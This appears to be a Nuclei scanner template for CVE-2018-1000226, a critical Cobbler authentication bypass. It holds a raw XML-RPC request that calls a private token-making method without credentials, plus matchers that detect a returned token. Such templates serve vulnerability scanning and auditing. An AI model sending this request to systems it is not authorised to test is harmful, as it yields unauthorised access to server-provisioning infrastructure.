id: CVE-2018-1000226

info:
  name: Cobbler versions 2.6.11+, (2.0.0+ or older versions) - Authentication Bypass
  author: c-sh0
  severity: critical
  reference:
    - https://github.com/cobbler/cobbler/issues/1916
    - https://movermeyer.com/2018-08-02-privilege-escalation-exploits-in-cobblers-api/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-1000226
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2018-1000226
    cwe-id: CWE-732
  tags: cve,cve2018,cobbler,auth-bypass

requests:
  - raw:
      - |
        POST {{BaseURL}}/cobbler_api HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version='1.0'?>
        <methodCall>
          <methodName>_CobblerXMLRPCInterface__make_token</methodName>
          <params>
            <param>
              <value>
                <string>cobbler</string>
              </value>
            </param>
          </params>
        </methodCall>

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "Content-Type: text/xml"

      - type: word
        part: body
        words:
          - "<methodResponse>"

      - type: dsl
        dsl:
          - "!contains(tolower(body), '<name>faultCode</name>')"

      - type: regex
        part: body
        regex:
          - "(.*[a-zA-Z0-9].+==)</string></value>"